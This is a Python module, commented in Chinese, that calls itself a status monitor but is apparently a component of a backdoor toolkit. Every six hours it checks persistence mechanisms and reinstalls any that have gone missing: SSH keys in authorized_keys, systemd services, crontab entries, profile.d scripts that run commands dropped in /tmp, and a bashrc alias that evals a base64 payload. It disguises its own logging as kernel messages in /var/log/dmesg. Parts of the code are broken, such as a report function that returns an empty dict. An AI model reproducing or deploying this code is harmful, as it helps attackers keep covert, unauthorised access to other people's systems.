#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

状态监控模块 - 本地自检和动态调整
实现后门状态的持续监控、异常检测和自动修复
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import threading
import subprocess
import logging
from datetime import datetime, timedelta
from pathlib import Path





class StatusMonitor:
    """状态监控系统 - 后门健康检查和自动修复"""
    
    def __init__(self):
        self.monitoring = False
        self.monitor_thread = None
        self.check_interval = 21600  # 6小时
        self.backdoors_status = {}
        self.repair_attempts = {}
        self.max_repair_attempts = 3
        self.log_file = '/var/log/dmesg'  # 混淆在系统日志中
        
        # 配置日志
        self._setup_logging()
        
    def _setup_logging(self):
        """设置日志记录"""
        try:
            # 尝试使用统一日志系统
            import sys
            import os
            sys.path.append(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'config'))
            from unified_logger import get_logger, LogLevel, LogFormat
            
            log_config = {
                'log_level': LogLevel.INFO.value,
                'log_format': LogFormat.STEALTH.value,  # 使用隐蔽格式
                'enable_console': True,
                'enable_file': True,
                'log_dir': os.path.dirname(self.log_file),
                'log_filename': os.path.basename(self.log_file)
            }
            
            self.logger = get_logger("status_monitor", log_config)
            
        except ImportError:
            # 回退到传统日志系统
            try:
                # 创建自定义日志格式，混淆在系统日志中
                logging.basicConfig(
                    level=logging.INFO,
                    format='%(asctime)s kernel: [system_check] %(message)s',
                    handlers=[
                        logging.FileHandler(self.log_file, mode='a'),
                        logging.StreamHandler()
                    ]
                )
                self.logger = logging.getLogger(__name__)
                
            except Exception as e:
                print("[-] 日志设置失败: {}".format(e))
                self.logger = None
    
    def start_monitoring(self, control_manual):
        """开始监控"""
        try:
            if self.monitoring:
                print("[!] 监控已在运行中")
                return False
            
            self.control_manual = control_manual
            self.monitoring = True
            
            # 启动监控线程
            self.monitor_thread = threading.Thread(target=self._monitor_loop, daemon=True)
            self.monitor_thread.start()
            
            print("[+] 状态监控已启动，检查间隔: {:.1f} 小时".format(self.check_interval/3600))
            
            if self.logger:
                self.logger.info("Status monitoring started")
            
            return True
            
        except Exception as e:
            print("[-] 监控启动失败: {}".format(e))
            return False
    
    def stop_monitoring(self):
        """停止监控"""
        try:
            self.monitoring = False
            
            if self.monitor_thread and self.monitor_thread.is_alive():
                self.monitor_thread.join(timeout=5)
            
            print("[+] 状态监控已停止")
            
            if self.logger:
                self.logger.info("Status monitoring stopped")
            
        except Exception as e:
            print("[-] 监控停止失败: {}".format(e))
    
    def _monitor_loop(self):
        """监控主循环"""
        try:
            while self.monitoring:
                try:
                    # 执行健康检查
                    self._perform_health_check()
                    
                    # 等待下次检查
                    for _ in range(self.check_interval):
                        if not self.monitoring:
                            break
                        time.sleep(1)
                        
                except Exception as e:
                    if self.logger:
                        self.logger.error("Monitor loop error: {}".format(e))
                    time.sleep(60)  # 出错后等待1分钟再继续
                    
        except Exception as e:
            if self.logger:
                self.logger.error("Monitor loop fatal error: {}".format(e))
    
    def _perform_health_check(self):
        """执行健康检查"""
        try:
            if self.logger:
                self.logger.info("Starting health check")
            
            backdoor_controls = self.control_manual.get('backdoor_controls', {})
            
            for deployment_id, control in backdoor_controls.items():
                try:
                    status = self._check_backdoor_status(deployment_id, control)
                    self.backdoors_status[deployment_id] = status
                    
                    if not status['healthy']:
                        self._attempt_repair(deployment_id, control, status)
                        
                except Exception as e:
                    if self.logger:
                        self.logger.error("Health check failed for {}: {}".format(deployment_id, e))
            
            # 记录检查结果
            self._log_health_status()
            
        except Exception as e:
            if self.logger:
                self.logger.error("Health check error: {}".format(e))
    
    def _check_backdoor_status(self, deployment_id, control):
        """检查单个后门状态"""
        try:
            backdoor_type = control['type']
            status = {}
            
            if backdoor_type == 'ssh_key':
                status = self._check_ssh_key_status(control)
            elif backdoor_type == 'systemd_service':
                status = self._check_systemd_service_status(control)
            elif backdoor_type == 'crontab':
                status = self._check_crontab_status(control)
            elif backdoor_type == 'env_variable':
                status = self._check_env_variable_status(control)
            elif backdoor_type == 'file_trigger':
                status = self._check_file_trigger_status(control)
            elif backdoor_type == 'bashrc_alias':
                status = self._check_bashrc_alias_status(control)
            
            status['last_check'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            return status
            
        except Exception as e:
            return {
                'healthy': False,
                'last_check': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
                'issues': ["Check failed: {}".format(e)]
            }
    
    def _check_ssh_key_status(self, control):
        """检查SSH密钥后门状态"""
        try:
            status = {'healthy': True, 'issues': []}
            
            # 从激活命令中提取密钥路径
            activation = control.get('activation', '')
            if '-i ' in activation:
                key_path = activation.split('-i ')[1].split(' ')[0]
                key_path = os.path.expanduser(key_path)
                
                # 检查私钥文件
                if not os.path.exists(key_path):
                    status['healthy'] = False
                    status['issues'].append('Private key file missing')
                
                # 检查公钥文件
                public_key_path = "{}.pub".format(key_path)
                if not os.path.exists(public_key_path):
                    status['healthy'] = False
                    status['issues'].append('Public key file missing')
                
                # 检查authorized_keys
                authorized_keys_path = os.path.expanduser('~/.ssh/authorized_keys')
                if os.path.exists(authorized_keys_path) and os.path.exists(public_key_path):
                    with open(public_key_path, 'r') as f:
                        public_key = f.read().strip()
                    
                    with open(authorized_keys_path, 'r') as f:
                        authorized_content = f.read()
                    
                    if public_key not in authorized_content:
                        status['healthy'] = False
                        status['issues'].append('Public key not in authorized_keys')
                
                # 检查文件权限
                if os.path.exists(key_path):
                    key_stat = os.stat(key_path)
                    if oct(key_stat.st_mode)[-3:] != '600':
                        status['healthy'] = False
                        status['issues'].append('Incorrect private key permissions')
            
            return status
            
        except Exception as e:
            return {'healthy': False, 'issues': ["SSH key check error: {}".format(e)]}
    
    def _check_systemd_service_status(self, control):
        """检查Systemd服务后门状态"""
        try:
            status = {'healthy': True, 'issues': []}
            
            # 从状态命令中提取服务名
            status_commands = self.control_manual.get('status_commands', {})
            for deployment_id, cmd in status_commands.items():
                if 'systemctl is-active' in cmd:
                    service_name = cmd.split('systemctl is-active ')[1].strip()
                    
                    # 检查服务状态
                    result = subprocess.run(
                        ['systemctl', 'is-active', service_name],
                        capture_output=True, text=True
                    )
                    
                    if result.stdout.strip() != 'active':
                        status['healthy'] = False
                        status['issues'].append("Service {} not active".format(service_name))
                    
                    # 检查服务是否启用
                    result = subprocess.run(
                        ['systemctl', 'is-enabled', service_name],
                        capture_output=True, text=True
                    )
                    
                    if result.stdout.strip() != 'enabled':
                        status['healthy'] = False
                        status['issues'].append("Service {} not enabled".format(service_name))
                    
                    break
            
            return status
            
        except Exception as e:
            return {'healthy': False, 'issues': ["Systemd service check error: {}".format(e)]}
    
    def _check_crontab_status(self, control):
        """检查Crontab后门状态"""
        try:
            status = {}
            
            # 检查crontab条目
            result = subprocess.run(['crontab', '-l'], capture_output=True, text=True)
            
            if result.returncode != 0:
                status['healthy'] = False
                status['issues'].append('Cannot read crontab')
                return status
            
            # 从激活命令中提取脚本路径（简化检查）
            activation = control.get('activation', '')
            if '/tmp/.cron_cmd' in activation:
                # 检查是否有相关的cron条目
                if 'system-check' not in result.stdout and 'sys-' not in result.stdout:
                    status['healthy'] = False
                    status['issues'].append('Crontab entry missing')
            
            return status
            
        except Exception as e:
            return {
                'healthy': False,
                'issues': ["Crontab check error: {}".format(e)]
            }
    
    def _check_env_variable_status(self, control):
        """检查环境变量后门状态"""
        try:
            status = {'healthy': True, 'issues': []}
            
            # 从状态命令中提取脚本路径
            status_commands = self.control_manual.get('status_commands', {})
            for deployment_id, cmd in status_commands.items():
                if 'test -f' in cmd and '/etc/profile.d/' in cmd:
                    # 提取文件路径
                    file_path = cmd.split('test -f ')[1].split(' &&')[0]
                    
                    if not os.path.exists(file_path):
                        status['healthy'] = False
                        status['issues'].append("Profile script missing: {}".format(file_path))
                    
                    break
            
            return status
            
        except Exception as e:
            return {'healthy': False, 'issues': ["Environment variable check error: {}".format(e)]}
    
    def _check_file_trigger_status(self, control):
        """检查文件触发后门状态"""
        try:
            status = {'healthy': True, 'issues': []}
            
            # 检查监控进程是否运行
            result = subprocess.run(
                ['pgrep', '-f', 'file-monitor'],
                capture_output=True, text=True
            )
            
            if result.returncode != 0:
                status['healthy'] = False
                status['issues'].append('File monitor process not running')
            
            # 检查监控脚本文件
            monitor_scripts = ['/usr/local/bin/file-monitor', '/usr/local/bin/monitor-']
            script_found = False
            
            for script_pattern in monitor_scripts:
                result = subprocess.run(
                    ['find', '/usr/local/bin/', '-name', "*{}*".format(os.path.basename(script_pattern))],
                    capture_output=True, text=True
                )
                
                if result.stdout.strip():
                    script_found = True
                    break
            
            if not script_found:
                status['healthy'] = False
                status['issues'].append('Monitor script file missing')
            
            return status
            
        except Exception as e:
            return {'healthy': False, 'issues': ["File trigger check error: {}".format(e)]}
    
    def _check_bashrc_alias_status(self, control):
        """检查Bashrc别名后门状态"""
        try:
            status = {'healthy': True, 'issues': []}
            
            # 从状态命令中提取别名信息
            status_commands = self.control_manual.get('status_commands', {})
            for deployment_id, cmd in status_commands.items():
                if 'grep -q "alias' in cmd:
                    # 提取别名名称和文件路径
                    parts = cmd.split('grep -q "alias ')[1].split('"')
                    alias_name = parts[0]
                    file_path = cmd.split(' ')[-1].split(' &&')[0]
                    file_path = os.path.expanduser(file_path)
                    
                    if not os.path.exists(file_path):
                        status['healthy'] = False
                        status['issues'].append("Bashrc file missing: {}".format(file_path))
                    else:
                        # 检查别名是否存在
                        with open(file_path, 'r') as f:
                            content = f.read()
                        
                        if "alias {}=".format(alias_name) not in content:
                            status['healthy'] = False
                            status['issues'].append("Alias {} missing".format(alias_name))
                    
                    break
            
            return status
            
        except Exception as e:
            return {'healthy': False, 'issues': ["Bashrc alias check error: {}".format(e)]}
    
    def _attempt_repair(self, deployment_id, control, status):
        """尝试修复后门"""
        try:
            # 检查修复尝试次数
            if deployment_id not in self.repair_attempts:
                self.repair_attempts[deployment_id] = 0
            
            if self.repair_attempts[deployment_id] >= self.max_repair_attempts:
                if self.logger:
                    self.logger.warning("Max repair attempts reached for {}".format(deployment_id))
                return False
            
            self.repair_attempts[deployment_id] += 1
            
            if self.logger:
                self.logger.info("Attempting repair for {} (attempt {})".format(deployment_id, self.repair_attempts[deployment_id]))
            
            backdoor_type = control['type']
            
            if backdoor_type == 'ssh_key':
                return self._repair_ssh_key(deployment_id, control, status)
            elif backdoor_type == 'systemd_service':
                return self._repair_systemd_service(deployment_id, control, status)
            elif backdoor_type == 'crontab':
                return self._repair_crontab(deployment_id, control, status)
            elif backdoor_type == 'env_variable':
                return self._repair_env_variable(deployment_id, control, status)
            elif backdoor_type == 'file_trigger':
                return self._repair_file_trigger(deployment_id, control, status)
            elif backdoor_type == 'bashrc_alias':
                return self._repair_bashrc_alias(deployment_id, control, status)
            
            return False
            
        except Exception as e:
            if self.logger:
                self.logger.error("Repair attempt failed for {}: {}".format(deployment_id, e))
            return False
    
    def _repair_ssh_key(self, deployment_id, control, status):
        """修复SSH密钥后门"""
        try:
            activation = control.get('activation', '')
            if '-i ' not in activation:
                return False
            
            key_path = activation.split('-i ')[1].split(' ')[0]
            key_path = os.path.expanduser(key_path)
            
            repaired = False
            
            # 修复缺失的密钥文件
            if 'Private key file missing' in status['issues']:
                # 重新生成密钥对
                cmd = [
                    'ssh-keygen', '-t', 'rsa', '-b', '2048',
                    '-f', key_path, '-N', '', '-C', 'system-backup-key'
                ]
                
                result = subprocess.run(cmd, capture_output=True, text=True)
                if result.returncode == 0:
                    os.chmod(key_path, 0o600)
                    repaired = True
                    if self.logger:
                        self.logger.info("Regenerated SSH key: {}".format(key_path))
            
            # 修复authorized_keys
            if 'Public key not in authorized_keys' in status['issues']:
                public_key_path = "{}.pub".format(key_path)
                if os.path.exists(public_key_path):
                    with open(public_key_path, 'r') as f:
                        public_key = f.read().strip()
                    
                    authorized_keys_path = os.path.expanduser('~/.ssh/authorized_keys')
                    with open(authorized_keys_path, 'a') as f:
                        f.write("\n{}\n".format(public_key))
                    
                    os.chmod(authorized_keys_path, 0o600)
                    repaired = True
                    if self.logger:
                        self.logger.info("Restored public key to authorized_keys")
            
            # 修复文件权限
            if 'Incorrect private key permissions' in status['issues']:
                if os.path.exists(key_path):
                    os.chmod(key_path, 0o600)
                    repaired = True
                    if self.logger:
                        self.logger.info("Fixed permissions for {}".format(key_path))
            
            return repaired
            
        except Exception as e:
            if self.logger:
                self.logger.error("SSH key repair failed: {}".format(e))
            return False
    
    def _repair_systemd_service(self, deployment_id, control, status):
        """修复Systemd服务后门"""
        try:
            # 从紧急命令中提取服务名
            emergency_commands = self.control_manual.get('emergency_commands', {})
            service_name = None
            
            for cmd in emergency_commands.values():
                if 'systemctl stop' in cmd:
                    service_name = cmd.split('systemctl stop ')[1].split(' &&')[0]
                    break
            
            if not service_name:
                return False
            
            repaired = False
            
            # 重启服务
            if "Service {} not active".format(service_name) in status['issues']:
                result = subprocess.run(
                    ['systemctl', 'start', service_name],
                    capture_output=True, text=True
                )
                
                if result.returncode == 0:
                    repaired = True
                    if self.logger:
                        self.logger.info("Restarted service: {}".format(service_name))
            
            # 启用服务
            if "Service {} not enabled".format(service_name) in status['issues']:
                result = subprocess.run(
                    ['systemctl', 'enable', service_name],
                    capture_output=True, text=True
                )
                
                if result.returncode == 0:
                    repaired = True
                    if self.logger:
                        self.logger.info("Enabled service: {}".format(service_name))
            
            return repaired
            
        except Exception as e:
            if self.logger:
                self.logger.error("Systemd service repair failed: {}".format(e))
            return False
    
    def _repair_crontab(self, deployment_id, control, status):
        """修复Crontab后门"""
        try:
            if 'Crontab entry missing' in status['issues']:
                # 重新添加crontab条目（简化实现）
                # 实际应用中需要保存原始的crontab配置
                cron_entry = "0 */6 * * * /usr/bin/system-check >/dev/null 2>&1"
                
                # 获取当前crontab
                result = subprocess.run(['crontab', '-l'], capture_output=True, text=True)
                current_crontab = result.stdout if result.returncode == 0 else ""
                
                # 添加新条目
                new_crontab = current_crontab + "\n{}\n".format(cron_entry)
                
                # 写入新crontab
                process = subprocess.Popen(['crontab', '-'], stdin=subprocess.PIPE, text=True)
                process.communicate(input=new_crontab)
                
                if process.returncode == 0:
                    if self.logger:
                        self.logger.info("Restored crontab entry")
                    return True
            
            return False
            
        except Exception as e:
            if self.logger:
                self.logger.error("Crontab repair failed: {}".format(e))
            return False
    
    def _repair_env_variable(self, deployment_id, control, status):
        """修复环境变量后门"""
        try:
            # 简化修复：重新创建profile脚本
            for issue in status['issues']:
                if 'Profile script missing:' in issue:
                    file_path = issue.split('Profile script missing: ')[1]
                    
                    # 重新创建脚本
                    script_content = """#!/bin/bash
# System environment configuration

export SYSTEM_PATH_CACHE="system_cache_enabled"

# 检查维护模式触发
if [ "$SYSTEM_PATH_CACHE" = "enable_maintenance_mode" ]; then
    if [ -f /tmp/.env_cmd ]; then
        bash /tmp/.env_cmd > /tmp/.env_output 2>&1
        rm -f /tmp/.env_cmd
    fi
fi
"""
                    
                    with open(file_path, 'w') as f:
                        f.write(script_content)
                    
                    os.chmod(file_path, 0o644)
                    
                    if self.logger:
                        self.logger.info("Restored environment script: {}".format(file_path))
                    return True
            
            return False
            
        except Exception as e:
            if self.logger:
                self.logger.error("Environment variable repair failed: {}".format(e))
            return False
    
    def _repair_file_trigger(self, deployment_id, control, status):
        """修复文件触发后门"""
        try:
            repaired = False
            
            # 重启监控进程
            if 'File monitor process not running' in status['issues']:
                # 查找监控脚本
                result = subprocess.run(
                    ['find', '/usr/local/bin/', '-name', '*monitor*', '-type', 'f'],
                    capture_output=True, text=True
                )
                
                if result.stdout.strip():
                    script_path = result.stdout.strip().split('\n')[0]
                    
                    # 在后台启动监控
                    subprocess.Popen(
                        [script_path],
                        stdout=subprocess.DEVNULL,
                        stderr=subprocess.DEVNULL
                    )
                    
                    repaired = True
                    if self.logger:
                        self.logger.info("Restarted file monitor: {}".format(script_path))
            
            return repaired
            
        except Exception as e:
            if self.logger:
                self.logger.error("File trigger repair failed: {}".format(e))
            return False
    
    def _repair_bashrc_alias(self, deployment_id, control, status):
        """修复Bashrc别名后门"""
        try:
            for issue in status['issues']:
                if 'Alias' in issue and 'missing' in issue:
                    # 从状态命令中提取信息
                    status_commands = self.control_manual.get('status_commands', {})
                    for cmd in status_commands.values():
                        if 'grep -q "alias' in cmd:
                            parts = cmd.split('grep -q "alias ')[1].split('"')
                            alias_name = parts[0]
                            file_path = cmd.split(' ')[-1].split(' &&')[0]
                            file_path = os.path.expanduser(file_path)
                            
                            # 重新添加别名
                            encoded_payload = "ZWNobyAiU3lzdGVtIE9LIg=="
                            alias_command = "alias {}='bash -c \"eval $(echo {} | base64 -d)\"'".format(alias_name, encoded_payload)
                            
                            with open(file_path, 'a') as f:
                                f.write("\n# System alias\n{}\n".format(alias_command))
                            
                            if self.logger:
                                self.logger.info("Restored alias {} in {}".format(alias_name, file_path))
                            return True
            
            return False
            
        except Exception as e:
            if self.logger:
                self.logger.error("Bashrc alias repair failed: {}".format(e))
            return False
    
    def _log_health_status(self):
        """记录健康状态"""
        try:
            healthy_count = sum(1 for status in self.backdoors_status.values() if status['healthy'])
            total_count = len(self.backdoors_status)
            
            if self.logger:
                self.logger.info("Health check completed: {}/{} backdoors healthy".format(healthy_count, total_count))
            
            # 如果有异常，记录详细信息
            for deployment_id, status in self.backdoors_status.items():
                if not status['healthy']:
                    issues = ', '.join(status['issues'])
                    if self.logger:
                        self.logger.warning("Backdoor {} issues: {}".format(deployment_id, issues))
            
        except Exception as e:
            if self.logger:
                self.logger.error("Health status logging failed: {}".format(e))
    
    def get_status_report(self):
        """获取状态报告"""
        try:
            report = {}
            
            return report
            
        except Exception as e:
            return {
                'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
                'monitoring': self.monitoring,
                'total_backdoors': len(self.backdoors_status),
                'healthy_backdoors': 0,
                'backdoors_detail': {},
                'repair_attempts': self.repair_attempts,
                'error': "Status report generation failed: {}".format(e)
            }
    
    def print_status_report(self):
        """打印状态报告"""
        try:
            report = self.get_status_report()
            
            print("\n" + "="*60)
            print("[+] 后门状态监控报告")
            print("="*60)
            print("[*] 报告时间: {}".format(report['timestamp']))
            print("[*] 监控状态: {}".format('运行中' if report['monitoring'] else '已停止'))
            print("[*] 后门总数: {}".format(report['total_backdoors']))
            print("[*] 健康后门: {}".format(report['healthy_backdoors']))
            
            if report['backdoors_detail']:
                print("\n[*] 详细状态:")
                for deployment_id, status in report['backdoors_detail'].items():
                    health_status = "正常" if status['healthy'] else "异常"
                    print("  {}: {}".format(deployment_id, health_status))
                    
                    if not status['healthy'] and status['issues']:
                        for issue in status['issues']:
                            print("    - {}".format(issue))
                    
                    print("    最后检查: {}".format(status['last_check']))
                    print()
            
            if report['repair_attempts']:
                print("[*] 修复尝试:")
                for deployment_id, attempts in report['repair_attempts'].items():
                    print("  {}: {} 次".format(deployment_id, attempts))
            
            print("="*60)
            
        except Exception as e:
            print("[-] 状态报告输出失败: {}".format(e))
    
    def manual_health_check(self):
        """手动健康检查"""
        try:
            print("[*] 执行手动健康检查...")
            self._perform_health_check()
            self.print_status_report()
            
        except Exception as e:
            print("[-] 手动健康检查失败: {}".format(e))


def main():
    """主函数 - 测试用"""
    print("状态监控模块 - 测试")
    
    # 模拟控制手册
    test_manual = {
        'backdoor_controls': {
            'test_ssh_001': {
                'name': 'SSH密钥后门',
                'type': 'ssh_key',
                'activation': 'ssh -i ~/.ssh/.test_key localhost'
            }
        },
        'status_commands': {
            'test_ssh_001': 'test -f ~/.ssh/.test_key && echo "SSH密钥：正常" || echo "SSH密钥：异常"'
        },
        'emergency_commands': {
            'test_ssh_001': 'rm -f ~/.ssh/.test_key ~/.ssh/.test_key.pub'
        }
    }
    
    monitor = StatusMonitor()
    
    # 执行一次手动检查
    monitor.control_manual = test_manual
    monitor.manual_health_check()


if __name__ == "__main__":
    main()